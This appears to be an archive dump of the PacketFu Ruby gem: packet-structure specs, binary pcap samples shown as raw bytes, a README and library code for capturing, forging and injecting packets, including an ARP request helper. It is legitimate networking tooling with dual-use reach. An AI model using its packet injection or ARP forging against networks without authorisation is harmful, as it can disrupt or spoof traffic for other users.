end describe StructFu::String, "a sligtly more special String" do before :each do @str = StructFu::String.new("Oi, a string") end it "should behave pretty much like a string" do @str.should be_kind_of(String) end it "should have a read method" do @str.should respond_to(:read) end it "should read data like other StructFu things" do @str.read("hello") @str.should == "hello" end end describe StructFu::IntString do it "should be" do StructFu::IntString.should be end it "should have a length and value" do istr = StructFu::IntString.new("Avast!") istr.to_s.should == "\x06Avast!" end it "should have a 16-bit length and a value" do istr = StructFu::IntString.new("Avast!",StructFu::Int16) istr.to_s.should == "\x00\x06Avast!" end it "should have a 32-bit length and a value" do istr = StructFu::IntString.new("Avast!",StructFu::Int32) istr.to_s.should == "\x00\x00\x00\x06Avast!" end before :each do @istr = StructFu::IntString.new("Avast!",StructFu::Int32) end it "should report the correct length with a new string" do @istr.to_s.should == "\x00\x00\x00\x06Avast!" @istr.string = "Ahoy!" @istr.to_s.should == "\x00\x00\x00\x05Ahoy!" end it "should report the correct length with a new string" do @istr.string = "Ahoy!" @istr.to_s.should == "\x00\x00\x00\x05Ahoy!" end it "should keep the old length with a new string" do @istr[:string] = "Ahoy!" @istr.to_s.should == "\x00\x00\x00\x06Ahoy!" end it "should allow for adjusting the length manually" do @istr.len = 16 @istr.to_s.should == "\x00\x00\x00\x10Avast!" end it "should read in an expected string" do data = "\x00\x00\x00\x09Yo ho ho!" @istr.read(data) @istr.to_s.should == data end it "should raise when a string is too short" do data = "\x01A" expect { @istr.read(data) }.to raise_error(StandardError, "String is too short for type StructFu::Int32") end end packetfu-1.1.11/spec/ip_spec.rb0000644000004100000410000000425612573107241016337 0ustar www-datawww-datarequire 'spec_helper' require 'tempfile' include PacketFu describe IPHeader do context "when initializing" do before :each do @ip_header = IPHeader.new end it "should have sane defaults" do expect(@ip_header.ip_v).to eql(4) expect(@ip_header.ip_hl).to eql(5) expect(@ip_header.ip_tos).to eql(0) expect(@ip_header.ip_len).to eql(20) expect(@ip_header.ip_id).to be_kind_of(Fixnum) expect(@ip_header.ip_frag).to eql(0) expect(@ip_header.ip_proto).to eql(0) expect(@ip_header.ip_sum).to eql(65535) expect(@ip_header.ip_src).to eql(0) expect(@ip_header.ip_dst).to eql(0) expect(@ip_header.body).to eql("") end end end describe IPPacket do context "when initializing" do before :each do @ip_packet = IPPacket.new end it "should have sane defaults" do expect(@ip_packet.ip_v).to eql(4) expect(@ip_packet.ip_hl).to eql(5) expect(@ip_packet.ip_tos).to eql(0) expect(@ip_packet.ip_len).to eql(20) expect(@ip_packet.ip_id).to be_kind_of(Fixnum) expect(@ip_packet.ip_frag).to eql(0) expect(@ip_packet.ip_proto).to eql(0) expect(@ip_packet.ip_sum).to eql(65535) expect(@ip_packet.ip_src).to eql(0) expect(@ip_packet.ip_dst).to eql(0) expect(@ip_packet.payload).to eql("") expect(@ip_packet.is_ip?).to be true end it "should support peek functionality" do @ip_packet.ip_saddr = "1.2.3.4" @ip_packet.ip_daddr = "5.6.7.8" @ip_packet.ip_proto = 94 @ip_packet.payload = '\x00' * 30 @ip_packet.recalc expect(@ip_packet.peek).to match(/I\s+154\s+1\.2\.3\.4\s+\->\s+5\.6\.7\.8\s+I:[0-9a-z]{4}/) end end context "when writing a PCAP file to disk" do before :each do @ip_packet = IPPacket.new end it "should write a PCAP file to disk" do @ip_packet.ip_saddr = "10.20.30.40" @ip_packet.ip_daddr = "50.60.70.80" @ip_packet.recalc ip_pcap_file = Tempfile.new('ip_pcap') expect(ip_pcap_file.read).to eql("") @ip_packet.to_f(ip_pcap_file, 'a') expect(File.exists?('ip_pcap')) expect(ip_pcap_file.read.size).to be >= 50 end end end packetfu-1.1.11/spec/sample3.pcap0000644000004100000410000000171612573107241016577 0ustar www-datawww-dataò:Sv<< '''! '!:S=wbb ''ET(@$! !wS:tQ  !"#$%&'()*+,-./01234567:Sybb ''ET)@#! !wS:w|  !"#$%&'()*+,-./01234567:S}bb ''ET*@"! !UwS:{  !"#$%&'()*+,-./01234567:Sbb ''ET+@!! !5wS:  !"#$%&'()*+,-./01234567:S~bb ''ET,@ ! !{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H?.vvsW{EdD>{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H@0vvsW{EdD={{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[Hf1vvsW{EdD={{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[HO3vvsW{EdD<{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[Hu4vvsW{EdD<{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H`6vvsW{Ed D;{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H7vvsW{Ed D;{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫpacketfu-1.1.11/spec/tcp_spec.rb0000644000004100000410000000531612573107241016513 0ustar www-datawww-datarequire 'spec_helper' include PacketFu def unusual_numeric_handling_headers(header,i) camelized_header = header.to_s.split("_").map {|x| x.capitalize}.join header_class = PacketFu.const_get camelized_header specify { subject.send(header).should == i } specify { subject.send(header).should be_kind_of Integer } specify { subject.headers.last[header].should be_kind_of header_class } end def tcp_hlen_numeric(i) unusual_numeric_handling_headers(:tcp_hlen,i) end def tcp_reserved_numeric(i) unusual_numeric_handling_headers(:tcp_reserved,i) end def tcp_ecn_numeric(i) unusual_numeric_handling_headers(:tcp_ecn,i) end describe TCPPacket do subject do bytes = PcapFile.file_to_array(File.join(File.dirname(__FILE__), "sample2.pcap"))[2] packet = Packet.parse(bytes) end context "TcpHlen reading and setting" do context "TcpHlen set via #read" do tcp_hlen_numeric(8) end context "TcpHlen set via an Integer for the setter" do (0..15).each do |i| context "i is #{i}" do before { subject.tcp_hlen = i } tcp_hlen_numeric(i) end end end context "TcpHlen set via a String for the setter" do before { subject.tcp_hlen = "\x60" } tcp_hlen_numeric(6) end context "TcpHlen set via a TcpHlen for the setter" do before { subject.tcp_hlen = TcpHlen.new(:hlen => 7) } tcp_hlen_numeric(7) end end context "TcpReserved reading and setting" do context "TcpReserved set via #read" do tcp_reserved_numeric(0) end context "TcpReserved set via an Integer for the setter" do (0..7).each do |i| context "i is #{i}" do before { subject.tcp_reserved = i } tcp_reserved_numeric(i) end end end context "TcpReserved set via a String for the setter" do before { subject.tcp_reserved = "\x03" } tcp_reserved_numeric(3) end context "TcpReserved set via a TcpReserved for the setter" do before { subject.tcp_reserved = TcpReserved.new(:r1 => 1, :r2 => 0, :r3 => 1) } tcp_reserved_numeric(5) end end context "TcpEcn reading and setting" do context "TcpEcn set via #read" do tcp_ecn_numeric(0) end context "TcpEcn set via an Integer for the setter" do (0..7).each do |i| context "i is #{i}" do before { subject.tcp_ecn = i } tcp_ecn_numeric(i) end end end context "TcpEcn set via a String for the setter" do before { subject.tcp_ecn = "\x00\xc0" } tcp_ecn_numeric(3) end context "TcpEcn set via a TcpEcn for the setter" do before { subject.tcp_ecn = TcpEcn.new(:n => 1, :c => 0, :e => 1) } tcp_ecn_numeric(5) end end end packetfu-1.1.11/spec/sample.pcap0000644000004100000410000000162612573107241016514 0ustar www-datawww-dataò2JNN/tQE@"=i5,?www metasploitcom2JN^^Q/tEPX?i5 mtu 1500\n" + "ether 78:31:c1:ce:39:bc\n" + "inet6 fe80::7a31:c1ff:fece:39bc%en0 prefixlen 64 scopeid 0x4\n" + "inet 192.168.10.173 netmask 0xffffff00 broadcast 192.168.10.255\n" + "nd6 options=1\n" + "media: autoselect\n" + "status: active\n" allow(PacketFu::Utils).to receive(:ifconfig_data_string).and_return(mac_osx_reply) util_reply = PacketFu::Utils.ifconfig("en0") # Ensure we got a hash back expect(util_reply).to be_a(::Hash) # Ensure all our values parse correctly expect(util_reply[:iface]).to eq("en0") expect(util_reply[:eth_saddr]).to eq("78:31:c1:ce:39:bc") expect(util_reply[:eth_src]).to eq("x1\xC1\xCE9\xBC") expect(util_reply[:ip6_saddr]).to eq("fe80::7a31:c1ff:fece:39bc") expect(util_reply[:ip6_obj]).to eq(IPAddr.new("fe80::7a31:c1ff:fece:39bc")) expect(util_reply[:ip_saddr]).to eq("192.168.10.173") expect(util_reply[:ip_src]).to eq("\xC0\xA8\n\xAD") expect(util_reply[:ip4_obj]).to eq(IPAddr.new("192.168.10.0/24")) end it "should work on Ubuntu 14.04 LTS" do stub_const("RUBY_PLATFORM", "x86_64-linux") ubuntu_reply = "eth0 Link encap:Ethernet HWaddr 00:0c:29:2a:e3:bd\n" + "inet addr:192.168.10.174 Bcast:192.168.10.255 Mask:255.255.255.0\n" + "inet6 addr: fe80::20c:29ff:fe2a:e3bd/64 Scope:Link\n" + "UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1\n" + "RX packets:65782 errors:0 dropped:0 overruns:0 frame:0\n" + "TX packets:31354 errors:0 dropped:0 overruns:0 carrier:0\n" + "collisions:0 txqueuelen:1000\n" + "RX bytes:40583515 (40.5 MB) TX bytes:3349554 (3.3 MB)" allow(PacketFu::Utils).to receive(:ifconfig_data_string).and_return(ubuntu_reply) util_reply = PacketFu::Utils.ifconfig("eth0") # Ensure we got a hash back expect(util_reply).to be_a(::Hash) # Ensure all our values parse correctly expect(util_reply[:iface]).to eq("eth0") expect(util_reply[:eth_saddr]).to eq("00:0c:29:2a:e3:bd") expect(util_reply[:eth_src]).to eq("\x00\f)*\xE3\xBD") expect(util_reply[:ip6_saddr]).to eq("fe80::20c:29ff:fe2a:e3bd/64") expect(util_reply[:ip6_obj]).to eq(IPAddr.new("fe80::20c:29ff:fe2a:e3bd/64")) expect(util_reply[:ip_saddr]).to eq("192.168.10.174") expect(util_reply[:ip_src]).to eq("\xC0\xA8\n\xAE") expect(util_reply[:ip4_obj]).to eq(IPAddr.new("192.168.10.0/24")) end it "should work on FreeBSD" do stub_const("RUBY_PLATFORM", "freebsd") freebsd_reply = "dc0: flags=8843 metric 0 mtu 1500\n" + "options=80008\n" + "ether 00:a0:cc:da:da:da\n" + "inet 192.168.1.3 netmask 0xffffff00 broadcast 192.168.1.255\n" + "media: Ethernet autoselect (100baseTX )\n" + "status: active" allow(PacketFu::Utils).to receive(:ifconfig_data_string).and_return(freebsd_reply) util_reply = PacketFu::Utils.ifconfig("dc0") # Ensure we got a hash back expect(util_reply).to be_a(::Hash) # Ensure all our values parse correctly expect(util_reply[:iface]).to eq("dc0") expect(util_reply[:eth_saddr]).to eq("00:a0:cc:da:da:da") expect(util_reply[:eth_src]).to eq("\x00\xA0\xCC\xDA\xDA\xDA") expect(util_reply[:ip6_saddr]).to eq(nil) expect(util_reply[:ip6_obj]).to eq(nil) expect(util_reply[:ip_saddr]).to eq("192.168.1.3") expect(util_reply[:ip_src]).to eq("\xC0\xA8\x01\x03") expect(util_reply[:ip4_obj]).to eq(IPAddr.new("192.168.1.0/24")) end end endpacketfu-1.1.11/spec/icmp_spec.rb0000644000004100000410000000566512573107241016664 0ustar www-datawww-data# -*- coding: binary -*- require 'spec_helper' require 'tempfile' include PacketFu describe ICMPPacket, "when read from a pcap file" do before :all do parsed_packets = PcapFile.read_packets(File.join(File.dirname(__FILE__),"sample.pcap")) @icmp_packet = parsed_packets[3] parsed_packets3 = PcapFile.read_packets(File.join(File.dirname(__FILE__),"sample3.pcap")) @icmp_packet2 = parsed_packets3[8] # contains 0x0A byte in payload end it "should be recognized as an icmp packet" do @icmp_packet.is_icmp?.should be true end it "should report the right seq number" do @icmp_packet.payload[2..3].unpack("H*")[0].should eq "0003" end it "should be recognized as an icmp reply packet" do @icmp_packet.icmp_type.should eq 0 end it "should have the right checksum" do @icmp_packet.icmp_sum.to_s(16).should eq @icmp_packet.icmp_calc_sum.to_s(16) end it "should have the right checksum even with 0xOA byte in payload" do @icmp_packet2.icmp_sum.to_s(16).should eq @icmp_packet2.icmp_calc_sum.to_s(16) end context "when initializing ICMPHeader from scratch" do before :each do @icmp_header = ICMPHeader.new end it "should have the right instance variables" do expect(@icmp_header.to_s).to eql("\x00\x00\xff\xff") expect(@icmp_header.icmp_type).to eql(0) end it "should allow setting of the type" do @icmp_header.icmp_type = 1 expect(@icmp_header.icmp_type).to eql(1) @icmp_header.icmp_recalc expect(@icmp_header.to_s).to eql("\x01\x00\xfe\xff") end end context "when initializing ICMPPacket from scratch" do before :each do @icmp_packet = ICMPPacket.new end it "should support peak functionality" do @icmp_packet.ip_saddr = "10.20.30.40" @icmp_packet.ip_daddr = "50.60.70.80" @icmp_packet.payload = "abcdefghijklmnopqrstuvwxyz" @icmp_packet.recalc expect(@icmp_packet.peek).to match(/IC 64\s+10.20.30.40:pong\s+->\s+50.60.70.80\s+I:[a-z0-9]{4}/) end end context "when reading/writing ICMPPacket to disk" do before :each do @icmp_packet = ICMPPacket.new end it "should write a PCAP file to disk" do @icmp_packet.ip_saddr = "10.20.30.40" @icmp_packet.ip_daddr = "50.60.70.80" @icmp_packet.payload = "abcdefghijklmnopqrstuvwxyz" @icmp_packet.recalc icmp_pcap_file = Tempfile.new('icmp_pcap') expect(icmp_pcap_file.read).to eql("") @icmp_packet.to_f(icmp_pcap_file, 'a') expect(File.exists?('icmp_pcap')) expect(icmp_pcap_file.read.size).to be >= 79 end it "should read a PCAP file from disk" do sample_packet = PcapFile.new.file_to_array(:f => './test/sample.pcap')[2] pkt = Packet.parse(sample_packet) expect(pkt.is_icmp?).to be true expect(pkt.class).to eql(PacketFu::ICMPPacket) expect(pkt.icmp_sum.to_i).to eql(0x4d58) expect(pkt.icmp_type.to_i).to eql(8) end end end packetfu-1.1.11/README.rdoc0000644000004100000410000000415112573107241015236 0ustar www-datawww-data= PacketFu {Build Status}[https://travis-ci.org/packetfu/packetfu] {}[https://codeclimate.com/github/packetfu/packetfu] A library for reading and writing packets to an interface or to a libpcap-formatted file. It is maintained at https://github.com/packetfu/packetfu . == Documentation PacketFu is yard-compatible (as well as sdoc/rdoc, if you prefer). You can generate local documentation easily with either `yard doc .` or `sdoc`, and view doc/index.html with your favored browser. Once that's done, navigate at the top, and read up on how to create a Packet or Capture from an interface with show_live or whatever. == Requirements PcapRub: $ rvm gem install pcaprub Marshall Beddoe's PcapRub is required only for packet reading and writing from a network interfaces (which is a pretty big only). PcapRub itself relies on libpcap 0.9.8 or later for packet injection. PcapRub also requires root privileges to access the interface directly. === Platforms Given the security issues with older Rubies and the long-past [EOL for 1.8.x](http://www.ruby-lang.org/en/news/2011/10/06/plans-for-1-8-7/), PacketFu is rather stuck on very recent versions of 1.9.3 (as of this moment, the version to trust is 1.9.3-p484). ==== 1.8.x EOL, no longer supported in any sense. PacketFu may or may not work. ==== 1.9.x 1.9.3-p484. ==== 2.x Not yet vetted. I don't believe there's anything exciting in these platforms, but there has been no attempt yet to perform formal testing. I know, I'm behind the times. == Examples PacketFu ships with dozens and dozens of tests, built on Test::Unit. These should give good pointers on how you're expected to use it. See the /tests directory. Furthermore, PacketFu also ships with packetfu-shell.rb, which should be run via IRB (as root, if you intend to use your interfaces). == Author PacketFu is maintained primarily by Tod Beardsley todb@packetfu.com and Jonathan Claudius claudijd@yahoo.com, with help from Open Source Land. See LICENSE for licensing details. packetfu-1.1.11/.travis.yml0000644000004100000410000000016412573107241015541 0ustar www-datawww-datalanguage: ruby before_install: - sudo apt-get install libpcap-dev -qq rvm: - 1.9.3 - 2.0.0 - 2.1.6 - 2.2.2 packetfu-1.1.11/lib/0000755000004100000410000000000012573107241014175 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu.rb0000644000004100000410000001162712573107241016333 0ustar www-datawww-data# -*- coding: binary -*- # :title: PacketFu Documentation # :main: README cwd = File.expand_path(File.dirname(__FILE__)) $: << cwd require File.join(cwd,"packetfu","structfu") require "ipaddr" require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/ module PacketFu # Picks up all the protocols defined in the protos subdirectory def self.require_protos(cwd) protos_dir = File.join(cwd, "packetfu", "protos") Dir.new(protos_dir).each do |fname| next unless fname[/\.rb$/] begin require File.join(protos_dir,fname) rescue warn "Warning: Could not load `#{fname}'. Skipping." end end end # Deal with Ruby's encoding by ignoring it. def self.force_binary(str) str.force_encoding Encoding::BINARY if str.respond_to? :force_encoding end # Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order @byte_order = :little # Checks if pcaprub is loaded correctly. @pcaprub_loaded = false # PacketFu works best with Pcaprub version 0.8-dev (at least) # The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine. def self.pcaprub_platform_require begin require 'pcaprub' rescue LoadError return false end @pcaprub_loaded = true end pcaprub_platform_require if @pcaprub_loaded pcaprub_regex = /[0-9]\.([8-9]|[1-7][0-9])(-dev)?/ # Regex for 0.8 and beyond. if Pcap.version !~ pcaprub_regex @pcaprub_loaded = false # Don't bother with broken versions raise LoadError, "PcapRub not at a minimum version of 0.8-dev" end require "packetfu/capture" require "packetfu/inject" end # Returns the status of pcaprub def self.pcaprub_loaded? @pcaprub_loaded end # Returns an array of classes defined in PacketFu def self.classes constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact end # Adds the class to PacketFu's list of packet classes -- used in packet parsing. def self.add_packet_class(klass) raise "Need a class" unless klass.kind_of? Class if klass.name !~ /[A-Za-z0-9]Packet/ raise "Packet classes should be named 'ProtoPacket'" end @packet_classes ||= [] @packet_classes << klass self.clear_packet_groups @packet_classes.sort_by! { |x| x.name } end # Presumably, there may be a time where you'd like to remove a packet class. def self.remove_packet_class(klass) raise "Need a class" unless klass.kind_of? Class @packet_classes ||= [] @packet_classes.delete klass self.clear_packet_groups @packet_classes end # Returns an array of packet classes def self.packet_classes @packet_classes || [] end # Returns an array of packet types by packet prefix. def self.packet_prefixes return [] if @packet_classes.nil? self.reset_packet_groups unless @packet_class_prefixes @packet_class_prefixes end def self.packet_classes_by_layer return [] if @packet_classes.nil? self.reset_packet_groups unless @packet_classes_by_layer @packet_classes_by_layer end def self.packet_classes_by_layer_without_application return [] if @packet_classes.nil? self.reset_packet_groups unless @packet_classes_by_layer_without_application @packet_classes_by_layer_without_application end def self.clear_packet_groups @packet_class_prefixes = nil @packet_classes_by_layer = nil @packet_classes_by_layer_without_application = nil end def self.reset_packet_groups @packet_class_prefixes = @packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")} @packet_classes_by_layer = @packet_classes.sort_by { |pclass| pclass.layer }.reverse @packet_classes_by_layer_without_application = @packet_classes_by_layer.reject { |pclass| pclass.layer_symbol == :application } end # The current inspect style. One of :hex, :dissect, or :default # Note that :default means Ruby's default, which is usually # far too long to be useful. def self.inspect_style @inspect_style ||= :dissect end # Setter for PacketFu's @inspect_style def self.inspect_style=(arg) @inspect_style = case arg when :hex, :pretty :hex when :dissect, :verbose :dissect when :default, :ugly :default else :dissect end end # Switches inspect styles in a round-robin fashion between # :dissect, :default, and :hex def toggle_inspect case @inspect_style when :hex, :pretty @inspect_style = :dissect when :dissect, :verbose @inspect_style = :default when :default, :ugly @inspect_style = :hex else @inspect_style = :dissect end end end require File.join(cwd,"packetfu","version") require File.join(cwd,"packetfu","pcap") require File.join(cwd,"packetfu","packet") PacketFu.require_protos(cwd) require File.join(cwd,"packetfu","utils") require File.join(cwd,"packetfu","config") # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/0000755000004100000410000000000012573107241015777 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/utils.rb0000644000004100000410000002716612573107241017500 0ustar www-datawww-data# -*- coding: binary -*- require 'singleton' require 'timeout' require 'network_interface' module PacketFu # Utils is a collection of various and sundry network utilities that are useful for packet # manipulation. class Utils # Returns the MAC address of an IP address, or nil if it's not responsive to arp. Takes # a dotted-octect notation of the target IP address, as well as a number of parameters: # # === Parameters # :iface # Interface. Defaults to "eth0" # :eth_saddr # Source MAC address. Defaults to "00:00:00:00:00:00". # :ip_saddr # Source IP address. Defaults to "0.0.0.0" # :flavor # The flavor of the ARP request. Defaults to :none. # :timeout # Timeout in seconds. Defaults to 3. # # === Example # PacketFu::Utils::arp("192.168.1.1") #=> "00:18:39:01:33:70" # PacketFu::Utils::arp("192.168.1.1", :iface => "wlan2", :timeout => 5, :flavor => :hp_deskjet) # # === Warning # # It goes without saying, spewing forged ARP packets on your network is a great way to really # irritate your co-workers. def self.arp(target_ip,args={}) iface = args[:iface] || :eth0 args[:config] ||= whoami?(:iface => iface) arp_pkt = PacketFu::ARPPacket.new(:flavor => (args[:flavor] || :none), :config => args[:config]) arp_pkt.eth_daddr = "ff:ff:ff:ff:ff:ff" arp_pkt.arp_daddr_mac = "00:00:00:00:00:00" arp_pkt.arp_daddr_ip = target_ip # Stick the Capture object in its own thread. cap_thread = Thread.new do target_mac = nil cap = PacketFu::Capture.new(:iface => iface, :start => true, :filter => "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}") arp_pkt.to_w(iface) # Shorthand for sending single packets to the default interface. timeout = 0 while target_mac.nil? && timeout <= (args[:timeout] || 3) if cap.save > 0 arp_response = PacketFu::Packet.parse(cap.array[0]) target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip = target_ip end timeout += 0.1 sleep 0.1 # Check for a response ten times per second. end target_mac end # cap_thread cap_thread.value end # Since 177/8 is IANA reserved (for now), this network should # be handled by your default gateway and default interface. def self.rand_routable_daddr IPAddr.new((rand(16777216) + 2969567232), Socket::AF_INET) end # A helper for getting a random port number def self.rand_port rand(0xffff-1024)+1024 end # Discovers the local IP and Ethernet address, which is useful for writing # packets you expect to get a response to. Note, this is a noisy # operation; a UDP packet is generated and dropped on to the default (or named) # interface, and then captured (which means you need to be root to do this). # # whoami? returns a hash of :eth_saddr, :eth_src, :ip_saddr, :ip_src, # :ip_src_bin, :eth_dst, and :eth_daddr (the last two are usually suitable # for a gateway mac address). It's most useful as an argument to # PacketFu::Config.new, or as an argument to the many Packet constructors. # # Note that if you have multiple interfaces with the same route (such as when # wlan0 and eth0 are associated to the same network), the "first" one # according to Pcap.lookupdev will be used, regardless of which :iface you # pick. # # === Parameters # :iface => "eth0" # An interface to listen for packets on. Note that since we rely on the OS to send the probe packet, # you will need to specify a target which will use this interface. # :target => "1.2.3.4" # A target IP address. By default, a packet will be sent to a random address in the 177/8 network. def self.whoami?(args={}) unless args.kind_of? Hash raise ArgumentError, "Argument to `whoami?' must be a Hash" end if args[:iface].to_s =~ /^lo/ # Linux loopback more or less. Need a switch for windows loopback, too. dst_host = "127.0.0.1" else dst_host = (args[:target] || rand_routable_daddr.to_s) end dst_port = rand_port msg = "PacketFu whoami? packet #{(Time.now.to_i + rand(0xffffff)+1)}" iface = (args[:iface] || ENV['IFACE'] || default_int || :lo ).to_s cap = PacketFu::Capture.new(:iface => iface, :promisc => false, :start => true, :filter => "udp and dst host #{dst_host} and dst port #{dst_port}") udp_sock = UDPSocket.new udp_sock.send(msg,0,dst_host,dst_port) udp_sock = nil my_data = nil begin Timeout::timeout(1) { pkt = nil while pkt.nil? raw_pkt = cap.next next if raw_pkt.nil? pkt = Packet.parse(raw_pkt) if pkt.payload == msg my_data = { :iface => (args[:iface] || ENV['IFACE'] || default_int || "lo").to_s, :pcapfile => args[:pcapfile] || "/tmp/out.pcap", :eth_saddr => pkt.eth_saddr, :eth_src => pkt.eth_src.to_s, :ip_saddr => pkt.ip_saddr, :ip_src => pkt.ip_src, :ip_src_bin => [pkt.ip_src].pack("N"), :eth_dst => pkt.eth_dst.to_s, :eth_daddr => pkt.eth_daddr } else raise SecurityError, "whoami() packet doesn't match sent data. Something fishy's going on." end end } rescue Timeout::Error raise SocketError, "Didn't receive the whoami() packet, can't automatically configure." end my_data end # Determine the default ip address def self.default_ip begin orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true # turn off reverse DNS resolution temporarily UDPSocket.open do |s| s.connect rand_routable_daddr.to_s, rand_port s.addr.last end ensure Socket.do_not_reverse_lookup = orig end end # Determine the default routeable interface def self.default_int ip = default_ip NetworkInterface.interfaces.each do |interface| NetworkInterface.addresses(interface).values.each do |addresses| addresses.each do |address| next if address["addr"].nil? return interface if address["addr"] == ip end end end # Fall back to libpcap as last resort return Pcap.lookupdev end # Determine the ifconfig data string for a given interface def self.ifconfig_data_string(iface=default_int) # Make sure to only get interface data for a real interface unless NetworkInterface.interfaces.include?(iface) raise ArgumentError, "#{iface} interface does not exist" end return %x[ifconfig #{iface}] end # Handles ifconfig for various (okay, two) platforms. # Will have Windows done shortly. # # Takes an argument (either string or symbol) of the interface to look up, and # returns a hash which contains at least the :iface element, and if configured, # these additional elements: # # :eth_saddr # A human readable MAC address # :eth_src # A packed MAC address # :ip_saddr # A dotted-quad string IPv4 address # :ip_src # A packed IPv4 address # :ip4_obj # An IPAddr object with bitmask # :ip6_saddr # A colon-delimited hex IPv6 address, with bitmask # :ip6_obj # An IPAddr object with bitmask # # === Example # PacketFu::Utils.ifconfig :wlan0 # Not associated yet # #=> {:eth_saddr=>"00:1d:e0:73:9d:ff", :eth_src=>"\000\035\340s\235\377", :iface=>"wlan0"} # PacketFu::Utils.ifconfig("eth0") # Takes 'eth0' as default # #=> {:eth_saddr=>"00:1c:23:35:70:3b", :eth_src=>"\000\034#5p;", :ip_saddr=>"10.10.10.9", :ip4_obj=>#, :ip_src=>"\n\n\n\t", :iface=>"eth0", :ip6_saddr=>"fe80::21c:23ff:fe35:703b/64", :ip6_obj=>#} # PacketFu::Utils.ifconfig :lo # #=> {:ip_saddr=>"127.0.0.1", :ip4_obj=>#, :ip_src=>"\177\000\000\001", :iface=>"lo", :ip6_saddr=>"::1/128", :ip6_obj=>#} def self.ifconfig(iface=default_int) ret = {} iface = iface.to_s.scan(/[0-9A-Za-z]/).join # Sanitizing input, no spaces, semicolons, etc. case RUBY_PLATFORM when /linux/i ifconfig_data = ifconfig_data_string(iface) if ifconfig_data =~ /#{iface}/i ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/) else raise ArgumentError, "Cannot ifconfig #{iface}" end real_iface = ifconfig_data.first ret[:iface] = real_iface.split.first.downcase if real_iface =~ /[\s]HWaddr[\s]+([0-9a-fA-F:]{17})/i ret[:eth_saddr] = $1.downcase ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr]) end ifconfig_data.each do |s| case s when /inet addr:[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i ret[:ip_saddr] = $1 ret[:ip_src] = [IPAddr.new($1).to_i].pack("N") ret[:ip4_obj] = IPAddr.new($1) ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3 when /inet6 addr:[\s]*([0-9a-fA-F:\x2f]+)/ ret[:ip6_saddr] = $1 ret[:ip6_obj] = IPAddr.new($1) end end # linux when /darwin/i ifconfig_data = ifconfig_data_string(iface) if ifconfig_data =~ /#{iface}/i ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/) else raise ArgumentError, "Cannot ifconfig #{iface}" end ret[:iface] = iface ifconfig_data.each do |s| case s when /ether[\s]([0-9a-fA-F:]{17})/i ret[:eth_saddr] = $1 ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr]) when /inet[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask[\s]+(0x[a-f0-9]+))?/i imask = 0 if $3 imask = $3.to_i(16).to_s(2).count("1") end ret[:ip_saddr] = $1 ret[:ip_src] = [IPAddr.new($1).to_i].pack("N") ret[:ip4_obj] = IPAddr.new($1) ret[:ip4_obj] = ret[:ip4_obj].mask(imask) if imask when /inet6[\s]*([0-9a-fA-F:\x2f]+)/ ret[:ip6_saddr] = $1 ret[:ip6_obj] = IPAddr.new($1) end end # darwin when /freebsd/i ifconfig_data = ifconfig_data_string(iface) if ifconfig_data =~ /#{iface}/ ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/) else raise ArgumentError, "Cannot ifconfig #{iface}" end ret[:iface] = iface ifconfig_data.each do |s| case s when /ether[\s]*([0-9a-fA-F:]{17})/ ret[:eth_saddr] = $1.downcase ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr]) when /inet[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*netmask[\s]*(0x[0-9a-fA-F]{8}))?/ ret[:ip_saddr] = $1 ret[:ip_src] = [IPAddr.new($1).to_i].pack("N") ret[:ip4_obj] = IPAddr.new($1) ret[:ip4_obj] = ret[:ip4_obj].mask(($3.hex.to_s(2) =~ /0*$/)) if $3 when /inet6[\s]*([0-9a-fA-F:\x2f]+)/ ret[:ip6_saddr] = $1 ret[:ip6_obj] = IPAddr.new($1) end end # freebsd end # RUBY_PLATFORM ret end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/inject.rb0000644000004100000410000000411112573107241017575 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # The Inject class handles injecting arrays of binary data on the wire. # # To inject single packets, use PacketFu::Packet.to_w() instead. class Inject attr_accessor :array, :stream, :show_live # Leave these public and open. attr_reader :iface, :snaplen, :promisc, :timeout # Cant change after the init. def initialize(args={}) @array = [] # Where the packet array goes. @stream = [] # Where the stream goes. @iface = args[:iface] || ENV['IFACE'] || 